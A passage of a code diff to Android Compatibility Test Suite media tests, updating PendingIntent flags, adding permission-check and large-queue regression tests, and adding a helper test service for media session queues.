+                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
+        if (profile != null) {
+            width = profile.videoFrameWidth;
+            height = profile.videoFrameHeight;
+        } else {
+            width = VIDEO_WIDTH;
+            height = VIDEO_HEIGHT;
+        }
+        mMediaRecorder.setVideoSize(width, height);
         mMediaRecorder.setVideoEncodingBitRate(256000);
         mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
         mMediaRecorder.setMaxFileSize(fileSize);
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index 07136d6..d8de395 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -1042,6 +1042,12 @@
     }
 
     @Test
+    public void testGettingSystemMediaRouter2WithoutPermissionThrowsSecurityException() {
+        assertThrows(SecurityException.class,
+                () -> MediaRouter2.getInstance(mContext, mContext.getPackageName()));
+    }
+
+    @Test
     public void markCallbacksAsTested() {
         // Due to CTS coverage tool's bug, it doesn't count the callback methods as tested even if
         // we have tests for them. This method just directly calls those methods so that the tool
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index 3d51d57..5d9908f 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -222,7 +222,7 @@
 
         Intent intent = new Intent(Intent.ACTION_MEDIA_BUTTON);
         PendingIntent mediaButtonIntent = PendingIntent.getBroadcast(
-                mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT);
+                mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         RemoteControlClient rcc = new RemoteControlClient(mediaButtonIntent);
         userRoute.setRemoteControlClient(rcc);
         assertEquals(rcc, userRoute.getRemoteControlClient());
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 1387493..9721179 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -26,6 +26,7 @@
 import android.media.MediaScannerConnection;
 import android.media.MediaScannerConnection.MediaScannerConnectionClient;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
@@ -41,6 +42,7 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.FileCopyHelper;
 import com.android.compatibility.common.util.PollingCheck;
 
@@ -51,6 +53,7 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.lang.reflect.Method;
 import java.nio.charset.StandardCharsets;
 
 @Presubmit
@@ -635,16 +638,30 @@
         }
     }
 
-    public static void startMediaScan() {
-        new Thread(() -> {
+    private static void scanVolume() {
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
             MediaStore.scanVolume(InstrumentationRegistry.getTargetContext().getContentResolver(),
                     MediaStore.VOLUME_EXTERNAL_PRIMARY);
-        }).start();
+        } else {
+            // on Q, scanVolume(Context, String path) should be used
+            try {
+                Method scanVolumeMethod = MediaStore.class
+                    .getMethod("scanVolume", Context.class, File.class);
+                scanVolumeMethod.invoke(null,
+                        InstrumentationRegistry.getTargetContext(),
+                        Environment.getExternalStorageDirectory());
+            } catch (Exception ex) {
+                fail("could not find scanVolume method" + ex);
+            }
+        }
+    }
+
+    public static void startMediaScan() {
+        new Thread(() -> { scanVolume(); }).start();
     }
 
     public static void startMediaScanAndWait() {
-        MediaStore.scanVolume(InstrumentationRegistry.getTargetContext().getContentResolver(),
-                MediaStore.VOLUME_EXTERNAL_PRIMARY);
+        scanVolume();
     }
 
     private void checkMediaScannerConnection() {
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
index af48114..6ee8bd4 100644
--- a/tests/tests/media/src/android/media/cts/MediaSession2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -140,7 +140,7 @@
     public void testBuilder_setSessionActivity() {
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
-                mContext, 0 /* requestCode */, intent, 0 /* flags */);
+                mContext, 0 /* requestCode */, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
         try (MediaSession2 session = new MediaSession2.Builder(mContext)
                 .setSessionActivity(pendingIntent)
                 .build()) {
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index fb88d00..9f46d39 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -15,6 +15,8 @@
  */
 package android.media.cts;
 
+import static android.Manifest.permission.MEDIA_CONTENT_CONTROL;
+
 import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -43,6 +45,7 @@
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
 import java.util.concurrent.TimeUnit;
 
 @AppModeFull(reason = "TODO: evaluate and port to instant")
@@ -62,6 +65,7 @@
 
     @Override
     protected void tearDown() throws Exception {
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
         super.tearDown();
     }
 
@@ -75,12 +79,21 @@
         // TODO enable a notification listener, test again, disable, test again
     }
 
+    public void testGetMediaKeyEventSession() throws Exception {
+        try {
+            mSessionManager.getMediaKeyEventSession();
+            fail("Expected security exception for call to getMediaKeyEventSession");
+        } catch (SecurityException ex) {
+            // Expected
+        }
+    }
+
     @UiThreadTest
     public void testAddOnActiveSessionsListener() throws Exception {
         try {
             mSessionManager.addOnActiveSessionsChangedListener(null, null);
-            fail("Expected IAE for call to addOnActiveSessionsChangedListener");
-        } catch (IllegalArgumentException e) {
+            fail("Expected NPE for call to addOnActiveSessionsChangedListener");
+        } catch (NullPointerException e) {
             // Expected
         }
 
@@ -271,20 +284,6 @@
         }
     }
 
-    public void testNotifySession2Created() throws Exception {
-        final Context context = getInstrumentation().getTargetContext();
-        Session2Token token = new Session2Token(context,
-                new ComponentName(context, this.getClass()));
-
-        try {
-            mSessionManager.notifySession2Created(token);
-            fail("Expected IllegalArgumentException for a call to notifySession2Created with " +
-                    "TYPE_SESSION_SERVICE token");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-    }
-
     public void testGetSession2Tokens() throws Exception {
         final Context context = getInstrumentation().getTargetContext();
         Handler handler = createHandler();
@@ -399,6 +398,24 @@
         }
     }
 
+    public void testCustomClassConfigValuesAreValid() throws Exception {
+        final Context context = getInstrumentation().getTargetContext();
+        String customMediaKeyDispatcher = context.getString(
+                android.R.string.config_customMediaKeyDispatcher);
+        String customMediaSessionPolicyProvider = context.getString(
+                android.R.string.config_customMediaSessionPolicyProvider);
+        // MediaSessionService will call Class.forName(String) with the existing config value.
+        // If the config value is not valid (i.e. given class doesn't exist), the following
+        // methods will return false.
+        if (!customMediaKeyDispatcher.isEmpty()) {
+            assertTrue(mSessionManager.hasCustomMediaKeyDispatcher(customMediaKeyDispatcher));
+        }
+        if (!customMediaSessionPolicyProvider.isEmpty()) {
+            assertTrue(mSessionManager.hasCustomMediaSessionPolicyProvider(
+                    customMediaSessionPolicyProvider));
+        }
+    }
+
     private boolean listContainsToken(List<Session2Token> tokens, Session2Token token) {
         for (int i = 0; i < tokens.size(); i++) {
             if (tokens.get(i).equals(token)) {
@@ -523,6 +540,23 @@
         }
     }
 
+    private class MediaKeyEventSessionListener
+            implements MediaSessionManager.OnMediaKeyEventSessionChangedListener {
+        final CountDownLatch mCountDownLatch;
+        MediaSession.Token mSessionToken;
+
+        MediaKeyEventSessionListener() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        @Override
+        public void onMediaKeyEventSessionChanged(String packageName,
+                MediaSession.Token sessionToken) {
+            mCountDownLatch.countDown();
+            mSessionToken = sessionToken;
+        }
+    }
+
     private static class HandlerExecutor implements Executor {
         private final Handler mHandler;
 
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 5cf1d3b..8a51982 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -16,6 +16,14 @@
 package android.media.cts;
 
 import static android.media.AudioAttributes.USAGE_GAME;
+import static android.media.cts.MediaSessionTestService.KEY_EXPECTED_QUEUE_SIZE;
+import static android.media.cts.MediaSessionTestService.KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS;
+import static android.media.cts.MediaSessionTestService.KEY_SESSION_TOKEN;
+import static android.media.cts.MediaSessionTestService.STEP_CHECK;
+import static android.media.cts.MediaSessionTestService.STEP_CLEAN_UP;
+import static android.media.cts.MediaSessionTestService.STEP_SET_UP;
+import static android.media.cts.MediaSessionTestService.TEST_SERIES_OF_SET_QUEUE;
+import static android.media.cts.MediaSessionTestService.TEST_SET_QUEUE_WITH_LARGE_NUMBER_OF_ITEMS;
 import static android.media.cts.Utils.compareRemoteUserInfo;
 
 import android.app.PendingIntent;
@@ -88,7 +96,10 @@
     @Override
     protected void tearDown() throws Exception {
         // It is OK to call release() twice.
-        mSession.release();
+        if (mSession != null) {
+            mSession.release();
+            mSession = null;
+        }
         super.tearDown();
     }
 
@@ -106,6 +117,24 @@
         verifyNewSession(controller);
     }
 
+    public void testSessionTokenEquals() {
+        MediaSession anotherSession = null;
+        try {
+            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            MediaSession.Token sessionToken = mSession.getSessionToken();
+            MediaSession.Token anotherSessionToken = anotherSession.getSessionToken();
+
+            assertTrue(sessionToken.equals(sessionToken));
+            assertFalse(sessionToken.equals(null));
+            assertFalse(sessionToken.equals(mSession));
+            assertFalse(sessionToken.equals(anotherSessionToken));
+        } finally {
+            if (anotherSession != null) {
+                anotherSession.release();
+            }
+        }
+    }
+
     /**
      * Tests MediaSession.Token created in the constructor of MediaSession.
      */
@@ -119,9 +148,17 @@
         Parcel p = Parcel.obtain();
         sessionToken.writeToParcel(p, 0);
         p.setDataPosition(0);
-        MediaSession.Token token = MediaSession.Token.CREATOR.createFromParcel(p);
-        assertEquals(token, sessionToken);
+        MediaSession.Token tokenFromParcel = MediaSession.Token.CREATOR.createFromParcel(p);
+        assertEquals(tokenFromParcel, sessionToken);
         p.recycle();
+
+        final int arraySize = 5;
+        MediaSession.Token[] tokenArray = MediaSession.Token.CREATOR.newArray(arraySize);
+        assertNotNull(tokenArray);
+        assertEquals(arraySize, tokenArray.length);
+        for (MediaSession.Token tokenElement : tokenArray) {
+            assertNull(tokenElement);
+        }
     }
 
     /**
@@ -237,7 +274,8 @@
 
             // test setSessionActivity
             Intent intent = new Intent("cts.MEDIA_SESSION_ACTION");
-            PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent, 0);
+            PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent,
+                    PendingIntent.FLAG_MUTABLE_UNAUDITED);
             mSession.setSessionActivity(pi);
             assertEquals(pi, controller.getSessionActivity());
 
@@ -267,17 +305,20 @@
     }
 
     /**
-     * Test whether media button receiver can be a explicit broadcast receiver.
+     * Test whether media button receiver can be a explicit broadcast receiver via
+     * MediaSession.setMediaButtonReceiver(PendingIntent).
      */
     public void testSetMediaButtonReceiver_broadcastReceiver() throws Exception {
-        Intent intent = new Intent(mContext.getApplicationContext(), MediaButtonReceiver.class);
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        Intent intent = new Intent(mContext.getApplicationContext(),
+                MediaButtonBroadcastReceiver.class);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent,
+                PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Play a sound so this session can get the priority.
         Utils.assertMediaPlaybackStarted(getContext());
 
-        // Sets the media button receiver. Framework would try to keep the pending intent in the
-        // persistent store.
+        // Sets the media button receiver. Framework will keep the broadcast receiver component name
+        // from the pending intent in persistent storage.
         mSession.setMediaButtonReceiver(pi);
 
         // Call explicit release, so change in the media key event session can be notified with the
@@ -287,7 +328,7 @@
         int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
         try {
             CountDownLatch latch = new CountDownLatch(2);
-            MediaButtonReceiver.setCallback((keyEvent) -> {
+            MediaButtonBroadcastReceiver.setCallback((keyEvent) -> {
                 assertEquals(keyCode, keyEvent.getKeyCode());
                 switch ((int) latch.getCount()) {
                     case 2:
@@ -305,7 +346,52 @@
 
             assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
         } finally {
-            MediaButtonReceiver.setCallback(null);
+            MediaButtonBroadcastReceiver.setCallback(null);
+        }
+    }
+
+    /**
+     * Test whether media button receiver can be a explicit service.
+     */
+    public void testSetMediaButtonReceiver_service() throws Exception {
+        Intent intent = new Intent(mContext.getApplicationContext(),
+                MediaButtonReceiverService.class);
+        PendingIntent pi = PendingIntent.getService(mContext, 0, intent,
+                PendingIntent.FLAG_MUTABLE_UNAUDITED);
+
+        // Play a sound so this session can get the priority.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        // Sets the media button receiver. Framework would try to keep the pending intent in the
+        // persistent store.
+        mSession.setMediaButtonReceiver(pi);
+
+        // Call explicit release, so change in the media key event session can be notified with the
+        // pending intent.
+        mSession.release();
+
+        int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
+        try {
+            CountDownLatch latch = new CountDownLatch(2);
+            MediaButtonReceiverService.setCallback((keyEvent) -> {
+                assertEquals(keyCode, keyEvent.getKeyCode());
+                switch ((int) latch.getCount()) {
+                    case 2:
+                        assertEquals(KeyEvent.ACTION_DOWN, keyEvent.getAction());
+                        break;
+                    case 1:
+                        assertEquals(KeyEvent.ACTION_UP, keyEvent.getAction());
+                        break;
+                }
+                latch.countDown();
+            });
+            // Also try to dispatch media key event.
+            // System would try to dispatch event.
+            simulateMediaKeyInput(keyCode);
+
+            assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            MediaButtonReceiverService.setCallback(null);
         }
     }
 
@@ -316,7 +402,8 @@
     public void testSetMediaButtonReceiver_implicitIntent() throws Exception {
         // Note: No such broadcast receiver exists.
         Intent intent = new Intent("android.media.cts.ACTION_MEDIA_TEST");
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent,
+                PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Play a sound so this session can get the priority.
         Utils.assertMediaPlaybackStarted(getContext());
@@ -335,6 +422,48 @@
     }
 
     /**
+     * Test whether media button receiver can be a explicit broadcast receiver via
+     * MediaSession.setMediaButtonBroadcastReceiver(ComponentName)
+     */
+    public void testSetMediaButtonBroadcastReceiver_broadcastReceiver() throws Exception {
+        // Play a sound so this session can get the priority.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        // Sets the broadcast receiver's component name. Framework will keep the component name in
+        // persistent storage.
+        mSession.setMediaButtonBroadcastReceiver(new ComponentName(mContext,
+                MediaButtonBroadcastReceiver.class));
+
+        // Call explicit release, so change in the media key event session can be notified using the
+        // component name.
+        mSession.release();
+
+        int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
+        try {
+            CountDownLatch latch = new CountDownLatch(2);
+            MediaButtonBroadcastReceiver.setCallback((keyEvent) -> {
+                assertEquals(keyCode, keyEvent.getKeyCode());
+                switch ((int) latch.getCount()) {
+                    case 2:
+                        assertEquals(KeyEvent.ACTION_DOWN, keyEvent.getAction());
+                        break;
+                    case 1:
+                        assertEquals(KeyEvent.ACTION_UP, keyEvent.getAction());
+                        break;
+                }
+                latch.countDown();
+            });
+            // Also try to dispatch media key event.
+            // System would try to dispatch event.
+            simulateMediaKeyInput(keyCode);
+
+            assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            MediaButtonBroadcastReceiver.setCallback(null);
+        }
+    }
+
+    /**
      * Test public APIs of {@link VolumeProvider}.
      */
     public void testVolumeProvider() {
@@ -418,11 +547,6 @@
         mSession.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS);
         mSession.setActive(true);
 
-        Intent mediaButtonIntent = new Intent(Intent.ACTION_MEDIA_BUTTON).setComponent(
-                new ComponentName(getContext(), getContext().getClass()));
-        PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, 0);
-        mSession.setMediaButtonReceiver(pi);
-
         // Set state to STATE_PLAYING to get higher priority.
         setPlaybackState(PlaybackState.STATE_PLAYING);
 
@@ -568,15 +692,23 @@
         // Start a media playback for this app to receive media key events.
         Utils.assertMediaPlaybackStarted(getContext());
 
-        MediaSession anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
-        mSession.release();
-        anotherSession.release();
+        MediaSession anotherSession = null;
+        try {
+            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            mSession.release();
+            anotherSession.release();
 
-        // Try release with the different order.
-        mSession = new MediaSession(getContext(), TEST_SESSION_TAG);
-        anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
-        anotherSession.release();
-        mSession.release();
+            // Try release with the different order.
+            mSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            anotherSession.release();
+            mSession.release();
+        } finally {
+            if (anotherSession != null) {
+                anotherSession.release();
+                anotherSession = null;
+            }
+        }
     }
 
     // This uses public APIs to dispatch key events, so sessions would consider this as
@@ -597,22 +729,20 @@
                 .setMediaId("media-id")
                 .setTitle("title");
 
+        try {
+            new QueueItem(/*description=*/null, TEST_QUEUE_ID);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+        try {
+            new QueueItem(descriptionBuilder.build(), QueueItem.UNKNOWN_ID);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
         QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
-        assertEquals(TEST_QUEUE_ID, item.getQueueId());
-        assertEquals("media-id", item.getDescription().getMediaId());
-        assertEquals("title", item.getDescription().getTitle());
-        assertEquals(0, item.describeContents());
-
-        QueueItem sameItem = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
-        assertTrue(item.equals(sameItem));
-
-        QueueItem differentQueueId = new QueueItem(
-            descriptionBuilder.build(), TEST_QUEUE_ID + 1);
-        assertFalse(item.equals(differentQueueId));
-
-        QueueItem differentDescription = new QueueItem(
-            descriptionBuilder.setTitle("title2").build(), TEST_QUEUE_ID);
-        assertFalse(item.equals(differentDescription));
 
         Parcel p = Parcel.obtain();
         item.writeToParcel(p, 0);
@@ -620,6 +750,40 @@
         QueueItem other = QueueItem.CREATOR.createFromParcel(p);
         assertEquals(item.toString(), other.toString());
         p.recycle();
+
+        final int arraySize = 5;
+        QueueItem[] queueItemArray = QueueItem.CREATOR.newArray(arraySize);
+        assertNotNull(queueItemArray);
+        assertEquals(arraySize, queueItemArray.length);
+        for (QueueItem elem : queueItemArray) {
+            assertNull(elem);
+        }
+    }
+
+    public void testQueueItemEquals() {
+        MediaDescription.Builder descriptionBuilder = new MediaDescription.Builder()
+                .setMediaId("media-id")
+                .setTitle("title");
+
+        QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
+        assertEquals(TEST_QUEUE_ID, item.getQueueId());
+        assertEquals("media-id", item.getDescription().getMediaId());
+        assertEquals("title", item.getDescription().getTitle());
+        assertEquals(0, item.describeContents());
+
+        assertFalse(item.equals(null));
+        assertFalse(item.equals(descriptionBuilder.build()));
+
+        QueueItem sameItem = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
+        assertTrue(item.equals(sameItem));
+
+        QueueItem differentQueueId = new QueueItem(
+                descriptionBuilder.build(), TEST_QUEUE_ID + 1);
+        assertFalse(item.equals(differentQueueId));
+
+        QueueItem differentDescription = new QueueItem(
+                descriptionBuilder.setTitle("title2").build(), TEST_QUEUE_ID);
+        assertFalse(item.equals(differentDescription));
     }
 
     public void testSessionInfoWithFrameworkParcelable() {
@@ -652,12 +816,17 @@
         Bundle sessionInfo = new Bundle();
         sessionInfo.putParcelable(testKey, customParcelable);
 
+        MediaSession session = null;
         try {
-            MediaSession session = new MediaSession(
+            session = new MediaSession(
                     mContext, "testSessionInfoWithCustomParcelable", sessionInfo);
             fail("Custom Parcelable shouldn't be accepted!");
         } catch (IllegalArgumentException e) {
             // Expected
+        } finally {
+            if (session != null) {
+                session.release();
+            }
         }
     }
 
@@ -686,10 +855,11 @@
      * does not decrement current session count multiple times.
      */
     public void testSessionCreationLimitWithMediaSessionRelease() {
-        MediaSession sessionToReleaseMultipleTimes = new MediaSession(
-                mContext, "testSessionCreationLimitWithMediaSessionRelease");
         List<MediaSession> sessions = new ArrayList<>();
+        MediaSession sessionToReleaseMultipleTimes = null;
         try {
+            sessionToReleaseMultipleTimes = new MediaSession(
+                    mContext, "testSessionCreationLimitWithMediaSessionRelease");
             for (int i = 0; i < TEST_TOO_MANY_SESSION_COUNT; i++) {
                 sessions.add(new MediaSession(
                         mContext, "testSessionCreationLimitWithMediaSessionRelease"));
@@ -703,6 +873,9 @@
             for (MediaSession session : sessions) {
                 session.release();
             }
+            if (sessionToReleaseMultipleTimes != null) {
+                sessionToReleaseMultipleTimes.release();
+            }
         }
     }
 
@@ -716,8 +889,9 @@
                 sessions.add(new MediaSession(
                         mContext, "testSessionCreationLimitWithMediaSession2Release"));
 
-                MediaSession2 session2 = new MediaSession2.Builder(mContext).build();
-                session2.close();
+                try (MediaSession2 session2 = new MediaSession2.Builder(mContext).build()) {
+                    // Do nothing
+                }
             }
             fail("The number of session should be limited!");
         } catch (RuntimeException e) {
@@ -730,6 +904,55 @@
     }
 
     /**
+     * Check that a series of {@link MediaSession#setQueue} does not break {@link MediaController}
+     * on the remote process due to binder buffer overflow.
+     */
+    public void testSeriesOfSetQueue() throws Exception {
+        int numberOfCalls = 100;
+        int queueSize = 1_000;
+        List<QueueItem> queue = new ArrayList<>();
+        for (int id = 0; id < queueSize; id++) {
+            MediaDescription description = new MediaDescription.Builder()
+                    .setMediaId(Integer.toString(id)).build();
+            queue.add(new QueueItem(description, id));
+        }
+
+        try (RemoteService.Invoker invoker = new RemoteService.Invoker(mContext,
+                MediaSessionTestService.class, TEST_SERIES_OF_SET_QUEUE)) {
+            Bundle args = new Bundle();
+            args.putParcelable(KEY_SESSION_TOKEN, mSession.getSessionToken());
+            args.putInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS, numberOfCalls * queueSize);
+            invoker.run(STEP_SET_UP, args);
+            for (int i = 0; i < numberOfCalls; i++) {
+                mSession.setQueue(queue);
+            }
+            invoker.run(STEP_CHECK);
+            invoker.run(STEP_CLEAN_UP);
+        }
+    }
+
+    public void testSetQueueWithLargeNumberOfItems() throws Exception {
+        int queueSize = 1_000_000;
+        List<QueueItem> queue = new ArrayList<>();
+        for (int id = 0; id < queueSize; id++) {
+            MediaDescription description = new MediaDescription.Builder()
+                    .setMediaId(Integer.toString(id)).build();
+            queue.add(new QueueItem(description, id));
+        }
+
+        try (RemoteService.Invoker invoker = new RemoteService.Invoker(mContext,
+                MediaSessionTestService.class, TEST_SET_QUEUE_WITH_LARGE_NUMBER_OF_ITEMS)) {
+            Bundle args = new Bundle();
+            args.putParcelable(KEY_SESSION_TOKEN, mSession.getSessionToken());
+            args.putInt(KEY_EXPECTED_QUEUE_SIZE, queueSize);
+            invoker.run(STEP_SET_UP, args);
+            mSession.setQueue(queue);
+            invoker.run(STEP_CHECK);
+            invoker.run(STEP_CLEAN_UP);
+        }
+    }
+
+    /**
      * Verifies that a new session hasn't had any configuration bits set yet.
      *
      * @param controller The controller for the session
@@ -752,6 +975,7 @@
 
         MediaController.PlaybackInfo info = controller.getPlaybackInfo();
         assertNotNull(info);
+        info.toString(); // Test that calling PlaybackInfo.toString() does not crash.
         assertEquals(MediaController.PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
         AudioAttributes attrs = info.getAudioAttributes();
         assertNotNull(attrs);
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTestService.java b/tests/tests/media/src/android/media/cts/MediaSessionTestService.java
new file mode 100644
index 0000000..1b82872
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTestService.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.annotation.Nullable;
+import android.media.session.MediaController;
+import android.media.session.MediaSession;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class MediaSessionTestService extends RemoteService {
+    public static final int TEST_SERIES_OF_SET_QUEUE = 0;
+    public static final int TEST_SET_QUEUE_WITH_LARGE_NUMBER_OF_ITEMS = 1;
+
+    public static final int STEP_SET_UP = 0;
+    public static final int STEP_CHECK = 1;
+    public static final int STEP_CLEAN_UP = 2;
+
+    public static final String KEY_SESSION_TOKEN = "sessionToken";
+    public static final String KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS = "expectedTotalNumberOfItems";
+    public static final String KEY_EXPECTED_QUEUE_SIZE = "expectedQueueSize";
+
+    private MediaController mMediaController;
+    private MediaController.Callback mMediaControllerCallback;
+    private CountDownLatch mAllItemsNotified;
+    private CountDownLatch mQueueNotified;
+
+    private void testSeriesOfSetQueue_setUp(Bundle args) {
+        MediaSession.Token token = args.getParcelable(KEY_SESSION_TOKEN);
+        int expectedTotalNumberOfItems = args.getInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS);
+
+        mAllItemsNotified = new CountDownLatch(1);
+        AtomicInteger numberOfItems = new AtomicInteger();
+        mMediaControllerCallback = new MediaController.Callback() {
+            @Override
+            public void onQueueChanged(List<MediaSession.QueueItem> queue) {
+                if (queue != null) {
+                    if (numberOfItems.addAndGet(queue.size()) >= expectedTotalNumberOfItems) {
+                        mAllItemsNotified.countDown();
+                    }
+                }
+            }
+        };
+        mMediaController = new MediaController(this, token);
+        mMediaController.registerCallback(mMediaControllerCallback,
+                new Handler(Looper.getMainLooper()));
+    }
+
+    private void testSeriesOfSetQueue_check() throws Exception {
+        assertTrue(mAllItemsNotified.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSeriesOfSetQueue_cleanUp() {
+        mMediaController.unregisterCallback(mMediaControllerCallback);
+        mMediaController = null;
+        mMediaControllerCallback = null;
+        mAllItemsNotified = null;
+    }
+
+    private void testSetQueueWithLargeNumberOfItems_setUp(Bundle args) {
+        MediaSession.Token token = args.getParcelable(KEY_SESSION_TOKEN);
+        int expectedQueueSize = args.getInt(KEY_EXPECTED_QUEUE_SIZE);
+
+        mQueueNotified = new CountDownLatch(1);
+        mMediaControllerCallback = new MediaController.Callback() {
+            @Override
+            public void onQueueChanged(List<MediaSession.QueueItem> queue) {
+                if (queue != null && queue.size() == expectedQueueSize) {
+                    mQueueNotified.countDown();
+                }
+            }
+        };
+        mMediaController = new MediaController(this, token);
+        mMediaController.registerCallback(mMediaControllerCallback,
+                new Handler(Looper.getMainLooper()));
+    }
+
+    private void testSetQueueWithLargeNumberOfItems_check() throws Exception {
+        assertTrue(mQueueNotified.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSetQueueWithLargeNumberOfItems_cleanUp() {
+        mMediaController.unregisterCallback(mMediaControllerCallback);
+        mMediaController = null;
+        mMediaControllerCallback = null;
+        mQueueNotified = null;
+    }
+
+    @Override
+    public void onRun(int testId, int step, @Nullable Bundle args) throws Exception {
+        if (testId == TEST_SERIES_OF_SET_QUEUE) {
+            if (step == STEP_SET_UP) {
+                testSeriesOfSetQueue_setUp(args);
+            } else if (step == STEP_CHECK) {
+                testSeriesOfSetQueue_check();
+            } else if (step == STEP_CLEAN_UP) {
+                testSeriesOfSetQueue_cleanUp();
+            } else {
+                throw new IllegalArgumentException("Unknown step=" + step);
+            }
+        } else if (testId == TEST_SET_QUEUE_WITH_LARGE_NUMBER_OF_ITEMS) {
+            if (step == STEP_SET_UP) {
+                testSetQueueWithLargeNumberOfItems_setUp(args);
+            } else if (step == STEP_CHECK) {
+                testSetQueueWithLargeNumberOfItems_check();
+            } else if (step == STEP_CLEAN_UP) {
+                testSetQueueWithLargeNumberOfItems_cleanUp();
+            } else {
+                throw new IllegalArgumentException("Unknown step=" + step);
+            }
+
+        } else {
+            throw new IllegalArgumentException("Unknown testId=" + testId);
+        }
+    }
+}
